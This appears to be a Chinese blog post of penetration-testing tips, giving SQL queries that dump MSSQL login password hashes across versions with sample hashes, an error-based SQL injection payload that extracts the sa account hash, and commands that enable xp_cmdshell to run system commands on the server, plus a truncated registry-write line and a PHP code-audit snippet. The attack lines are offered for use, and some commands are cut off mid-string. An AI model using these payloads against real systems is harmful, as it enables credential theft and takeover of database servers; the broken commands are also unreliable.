• 渗透实战tips(持续更新)


    0x01、窃取MSSQL各版本密码HASH

    MSSQL 2000版本

    select name,password from master.dbo.sysxlogins 
    Hash格式: 0x0100(固定) + 8位key+40位HASH1 +40位HASH20x0100AC78A243F2E61FA800A7231C501D49CDA5B93A8A2294DC68AE487C99233F245F86A9ED5749F1838021EE1610
    

    MSSQL 2005版本

    select name,password_hash from sys.sql_logins
    Hash格式:0x0100(固定) +8位key+ 20位HASH1 + 20位HASH2 0x01004086CEB698DB9D0295DBF84F496FDDCECADE1AE5875EB294
    

    MSSQL 2008 R2版本

    Select name,password_hash from sys.sql_logins where name = 'sa'
    
    Hash格式:0x0100(固定) +8位key+ 20位HASH1 + 20位HASH2 0x0100A9A79055CACB976F1BE9405D2F7BE7B2A98003007978F821
    

    图片

    MSSQL 2012 R2版本

    select name,password_hash from sys.sql_logins
    0x02009B23262ECB00E289977FA1209081C623020F2D28E23B5C615AC7BA8C0F25FEE638DC2E4DEAF023350C1E31199364879A94D65FC79F10BB577D6CB86A8C7148928DC8AFFB
    

    SQL Server 2016版本

    select name,password_hash from sys.sql_logins 
    
    0x02002F8E6FBBE1B6A9961A7E397FDD3A26F795DF806A066940B26323BE89F3450064C8657C75E2A3729E8318BBE91692335F4D2F5633BADEF7A25EC8AC003E9C4DB342312505
    

    02、SQL注入获取Sa账号密码

    (1) 通过报错注入获取sa账户的哈希密码

    ?Keyword=1111%' AND (Select  master.dbo.fn_varbintohexstr(password) from master.dbo.sysxlogins where name='sa')=1 AND '%'='
    

    (2)解密获取sa明文密码

    (3)在内网或数据库端口开放的情况下,可直接连入数据库执行系统命令,获取服务器控制权限。

    # 开启xp_cmdshell存储过程
    EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    # 利用xp_cmdshell执行系统命令
    Exec master.dbo.xp_cmdshell '
    # SQL语句开启远程Exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControl
    

    0x02、sql注入

    仔细想一想,这里的查询条件为申请单号,而匹配到结果是200直接返回,没有匹配到结果就是200不返回数据,假设想一下如果他的语句是

    where 单号=”输入的单号”

    这样的话,闭合不了想必后面还有更多更繁杂的查询条件,或者是其他条件,比如waf,如果我直接让单号的查询内容为%的话,能不能实现把它的数据全部匹配出来呢。【%号在主流数据库里面是匹配全部字符的意思】

    0x03、代码审计Tips

    快速查看常量定义

    foreach(get_defined_constants(true)['user'] as $k=>$v){
        echo $k.'---'.$v."
    ";
    }
    

    将它放在index.php的末尾。通过源代码查看这些常量,然后复制到我们一个记事本中,审计中需要用到时,我们再进行查询。

  • 相关阅读:
    python 匿名函数lambda()
    python列表推导式
    python数组的基本操作一(添加,扩展,插入)
    Python的数字类型
    Python初识以及Windows安装教程
    字典简单使用
    two sum(LeetCode)
    python读写文件
    C++ volatile关键字(转)
    实验一
  • 原文地址:https://www.cnblogs.com/0x7e/p/14384649.html
Copyright © 2020-2023  润新知